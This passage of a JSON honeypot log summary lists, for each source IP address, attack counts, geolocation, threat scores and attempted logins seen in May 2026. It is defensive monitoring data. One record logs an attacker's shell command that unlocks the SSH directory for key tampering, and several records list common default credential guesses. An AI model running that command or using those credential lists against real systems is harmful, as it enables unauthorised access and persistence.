      "reputation_metrics": {
        "total_events_30d": 143,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T08:54:07.748000+00:00",
        "last_seen_30d": "2026-05-04T10:04:50.305000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Suricata": 73,
        "Cowrie": 70
      }
    },
    "34.78.39.246": {
      "attack_count": 70,
      "first_seen": "2026-05-26T02:45:35.824Z",
      "last_seen": "2026-05-26T02:46:17.611Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 1911",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 27.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T02:45:35.824000+00:00",
        "last_seen_30d": "2026-05-26T02:47:20.940000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 70,
        "Suricata": 42
      }
    },
    "36.104.144.114": {
      "attack_count": 64,
      "first_seen": "2026-05-23T05:26:15.368Z",
      "last_seen": "2026-05-23T06:37:34.904Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "erick",
        "erp",
        "mysql",
        "steam1"
      ],
      "passwords_attempted": [
        "1234509876",
        "@Pass123",
        "Firewall@123",
        "Q!w2e3r4",
        "admin",
        "erick",
        "mysql@123",
        "steam1"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 105,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T05:26:15.368000+00:00",
        "last_seen_30d": "2026-05-23T06:47:38.079000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 64,
        "Suricata": 41
      }
    },
    "206.168.201.104": {
      "attack_count": 50,
      "first_seen": "2026-05-08T15:26:55.650Z",
      "last_seen": "2026-05-08T15:32:19.914Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Gujranwala",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 15.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.9,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T15:26:55.650000+00:00",
        "last_seen_30d": "2026-05-14T21:11:35.947000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 27
      }
    },
    "164.92.225.4": {
      "attack_count": 37,
      "first_seen": "2026-05-22T09:17:26.551Z",
      "last_seen": "2026-05-22T09:17:28.149Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "GET /query?q=SHOW+DIAGNOSTICS HTTP/1.1",
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)"
      ],
      "passwords_attempted": [
        "Host: 172.105.186.117:23",
        "",
        "Accept: */*"
      ],
      "commands_executed": [
        "Connection: close",
        "User-Agent: Go-http-client/1.1",
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 63.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 23.5,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 222,
        "days_active_30d": 22,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T19:31:13+00:00",
        "last_seen_30d": "2026-05-23T02:26:50.926000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 129,
        "Honeytrap": 54,
        "Cowrie": 37,
        "Dionaea": 1,
        "Ipphoney": 1
      }
    },
    "175.107.1.85": {
      "attack_count": 34,
      "first_seen": "2026-05-15T11:31:28.085Z",
      "last_seen": "2026-05-15T11:35:08.444Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Taxila",
      "asn": 23888,
      "as_org": "National Telecommunication Corporation HQ",
      "threat_score": 14.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T11:31:28.085000+00:00",
        "last_seen_30d": "2026-05-15T11:36:14.705000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 18
      }
    },
    "166.62.124.255": {
      "attack_count": 32,
      "first_seen": "2026-05-18T16:43:41.914Z",
      "last_seen": "2026-05-18T19:19:13.547Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 17.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T16:43:41.914000+00:00",
        "last_seen_30d": "2026-05-18T19:20:14.463000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 41,
        "Cowrie": 32
      }
    },
    "95.216.198.124": {
      "attack_count": 23,
      "first_seen": "2026-05-21T13:50:08.524Z",
      "last_seen": "2026-05-21T13:50:17.860Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "socks",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "socks"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.failed"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T13:50:08.524000+00:00",
        "last_seen_30d": "2026-05-21T13:51:21.936000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 7
      }
    },
    "181.171.83.51": {
      "attack_count": 18,
      "first_seen": "2026-05-14T21:10:59.619Z",
      "last_seen": "2026-05-14T21:21:28.515Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Salta",
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 12.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T21:10:59.619000+00:00",
        "last_seen_30d": "2026-05-14T21:32:26.023000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 14
      }
    },
    "204.188.210.202": {
      "attack_count": 18,
      "first_seen": "2026-05-08T15:01:58.454Z",
      "last_seen": "2026-05-10T02:24:46.124Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 46844,
      "as_org": "Sharktech",
      "threat_score": 8.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T15:01:58.454000+00:00",
        "last_seen_30d": "2026-05-10T02:25:47.855000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "62.72.46.110": {
      "attack_count": 18,
      "first_seen": "2026-05-09T12:38:08.404Z",
      "last_seen": "2026-05-11T19:21:18.504Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 141995,
      "as_org": "Contabo Asia Private Limited",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T12:38:08.404000+00:00",
        "last_seen_30d": "2026-05-11T19:22:20.401000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "223.15.246.7": {
      "attack_count": 15,
      "first_seen": "2026-05-10T07:42:54.385Z",
      "last_seen": "2026-05-10T07:45:59.139Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi",
        "root"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 132153,
      "as_org": "No.3,Shu-Ma Road",
      "threat_score": 12.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T07:42:54.385000+00:00",
        "last_seen_30d": "2026-05-13T22:19:07.218000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 9
      }
    },
    "42.100.59.7": {
      "attack_count": 14,
      "first_seen": "2026-05-19T02:31:10.648Z",
      "last_seen": "2026-05-19T03:18:20.990Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T02:31:10.648000+00:00",
        "last_seen_30d": "2026-05-19T03:19:29.501000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 8
      }
    },
    "71.6.199.65": {
      "attack_count": 14,
      "first_seen": "2026-05-03T13:32:09.429Z",
      "last_seen": "2026-05-26T14:38:07.346Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 77.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.8,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 96,
        "days_active_30d": 26,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-03T13:32:09.429000+00:00",
        "last_seen_30d": "2026-05-28T11:23:47.400000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 67,
        "Cowrie": 14,
        "Dionaea": 7,
        "Honeytrap": 7,
        "Tanner": 1
      }
    },
    "167.172.39.154": {
      "attack_count": 12,
      "first_seen": "2026-05-23T10:11:41.121Z",
      "last_seen": "2026-05-23T10:11:41.487Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 55.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 152633,
        "days_active_30d": 1,
        "ports_targeted_30d": 64908,
        "honeypots_triggered_30d": 13,
        "first_seen_30d": "2026-05-23T10:08:25.706000+00:00",
        "last_seen_30d": "2026-05-23T10:23:33.078000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 130574,
        "Honeytrap": 21999,
        "Cowrie": 12,
        "Mailoney": 12,
        "ConPot": 10,
        "Dionaea": 9,
        "Miniprint": 8,
        "Adbhoney": 2,
        "Dicompot": 2,
        "Honeyaml": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "34.79.215.100": {
      "attack_count": 10,
      "first_seen": "2026-05-12T06:48:33.655Z",
      "last_seen": "2026-05-12T06:48:38.414Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 9.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T06:48:33.655000+00:00",
        "last_seen_30d": "2026-05-12T06:49:46.453000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "66.132.195.48": {
      "attack_count": 10,
      "first_seen": "2026-05-11T11:37:21.523Z",
      "last_seen": "2026-05-11T17:37:51.964Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 90.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.5,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 178,
        "days_active_30d": 28,
        "ports_targeted_30d": 37,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-04T16:44:57+00:00",
        "last_seen_30d": "2026-05-31T23:44:24.615000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 116,
        "Honeytrap": 39,
        "Cowrie": 10,
        "CitrixHoneypot": 4,
        "ElasticPot": 4,
        "Tanner": 4,
        "Dionaea": 1
      }
    },
    "205.210.31.18": {
      "attack_count": 8,
      "first_seen": "2026-05-12T16:21:30.247Z",
      "last_seen": "2026-05-23T04:20:23.852Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 77.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.4,
        "persistence": 24.2,
        "diversity": 18,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 29,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T23:51:39.901000+00:00",
        "last_seen_30d": "2026-05-31T19:48:58.099000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Cowrie": 8,
        "Honeytrap": 4,
        "Tanner": 1
      }
    },
    "94.26.106.44": {
      "attack_count": 7,
      "first_seen": "2026-05-09T09:47:07.929Z",
      "last_seen": "2026-05-09T09:47:10.634Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "p@ssw0rd"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Kriftel",
      "asn": 215607,
      "as_org": "dataforest GmbH",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T09:47:07.929000+00:00",
        "last_seen_30d": "2026-05-09T09:48:19.547000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 4
      }
    },
    "122.193.10.204": {
      "attack_count": 6,
      "first_seen": "2026-05-26T03:22:08.201Z",
      "last_seen": "2026-05-26T03:23:18.950Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuxi",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 18.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T03:22:08.201000+00:00",
        "last_seen_30d": "2026-05-26T03:24:19.383000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "206.189.138.100": {
      "attack_count": 6,
      "first_seen": "2026-05-10T20:35:04.274Z",
      "last_seen": "2026-05-10T20:35:04.566Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 7.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T20:27:59.138000+00:00",
        "last_seen_30d": "2026-05-10T20:36:13.768000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 6
      }
    },
    "24.178.165.51": {
      "attack_count": 6,
      "first_seen": "2026-05-02T09:19:06.701Z",
      "last_seen": "2026-05-21T00:25:47.041Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Woodruff",
      "asn": 20115,
      "as_org": "Charter Communications LLC",
      "threat_score": 27.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.3,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T09:19:06.701000+00:00",
        "last_seen_30d": "2026-05-21T00:27:00.519000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 6
      }
    },
    "31.41.222.110": {
      "attack_count": 6,
      "first_seen": "2026-05-13T13:02:43.918Z",
      "last_seen": "2026-05-13T13:02:50.226Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": null,
      "asn": 42655,
      "as_org": "ON-LINE Ltd",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T13:02:43.918000+00:00",
        "last_seen_30d": "2026-05-13T13:03:59.064000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "4.28.179.226": {
      "attack_count": 6,
      "first_seen": "2026-05-05T02:28:35.651Z",
      "last_seen": "2026-05-05T02:28:42.363Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Smyrna",
      "asn": 3356,
      "as_org": "Level 3 Parent, LLC",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T02:28:35.651000+00:00",
        "last_seen_30d": "2026-05-05T02:29:45.849000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "95.167.225.76": {
      "attack_count": 6,
      "first_seen": "2026-05-11T15:13:11.211Z",
      "last_seen": "2026-05-25T11:14:30.506Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 28.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T15:13:11.211000+00:00",
        "last_seen_30d": "2026-05-25T11:24:37.076000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "20.163.14.131": {
      "attack_count": 5,
      "first_seen": "2026-05-31T00:58:04.334Z",
      "last_seen": "2026-05-31T00:58:14.621Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 35.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.0,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-28T01:29:48.548000+00:00",
        "last_seen_30d": "2026-05-31T00:59:16.842000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Cowrie": 5,
        "Honeytrap": 2
      }
    },
